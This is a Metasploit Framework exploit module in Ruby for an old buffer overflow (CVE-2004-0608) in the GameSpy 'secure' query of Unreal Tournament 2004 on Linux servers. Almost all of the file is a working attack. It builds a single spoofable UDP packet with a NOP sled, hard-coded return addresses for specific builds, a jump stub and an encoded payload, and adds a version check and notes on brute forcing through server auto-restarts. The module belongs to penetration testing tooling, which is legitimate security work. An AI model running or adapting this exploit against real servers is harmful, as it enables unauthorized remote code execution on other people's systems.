##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
      'Description'    => %q{
        
      This is an exploit for the GameSpy secure query in
      the Unreal Engine.

      This exploit only requires one UDP packet, which can
      be both spoofed and sent to a broadcast address.
      Usually, the GameSpy query server listens on port 7787,
      but you can manually specify the port as well.

      The RunServer.sh script will automatically restart the
      server upon a crash, giving us the ability to
      bruteforce the service and exploit it multiple
      times. 
          
      },
      'Author'         => [ 'onetwo' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
              [ 'CVE', '2004-0608'],
          [ 'OSVDB', '7217'],
          [ 'BID', '10570'],

        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x5c\x00",

        },
      'Platform'       => 'linux',
      'Targets'        => 
        [
          ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
          ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
        ],
      'DisclosureDate' => 'Jun 18 2004'))

      register_options(
        [
          Opt::RPORT(7787)
        ], self.class)
  end
    
  def exploit
    connect_udp
    
    buf = make_nops(1024)
    buf[24, 4] = [target['Rets'][1]].pack('V')
    buf[44, 4] = [target['Rets'][0]].pack('V')
    buf[56, 4] = [target['Rets'][1]].pack('V')  
    buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
    
    buf[0,  8] = "\\secure\\"
    buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
  
    udp_sock.put(buf)  
    
    handler
    disconnect_udp
  end
  
  def ut_version
    connect_udp
    udp_sock.put("\\basic\\")
    res = udp_sock.recvfrom(8192)
    disconnect_udp  
    
    if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
      return m[1]
    end
    
    return
  end
  
  def check
    vers = ut_version
    
    if (not vers)
      print_status("Could not detect Unreal Tournament Server")
      return
    end
    
    print_status("Detected Unreal Tournament Server Version: #{vers}")
    if (vers =~ /^(3120|3186|3204)$/)
      print_status("This system appears to be exploitable")
      return Exploit::CheckCode::Appears
    end
    
    
    if (vers =~ /^(2...)$/)
      print_status("This system appears to be running UT2003")
      return Exploit::CheckCode::Detected
    end
    
    print_status("This system appears to be patched")
    return Exploit::CheckCode::Safe
  end

end